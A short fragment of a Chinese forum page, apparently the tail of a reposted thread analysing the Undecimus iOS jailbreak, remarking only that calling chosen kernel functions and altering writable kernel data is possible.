选择的执行内核函数(这还是通过特殊方法),改改可写段的内核数据, 是可以的
页: [1]
查看完整版本: [转载]iOS Jailbreak Principles - Undecimus 分析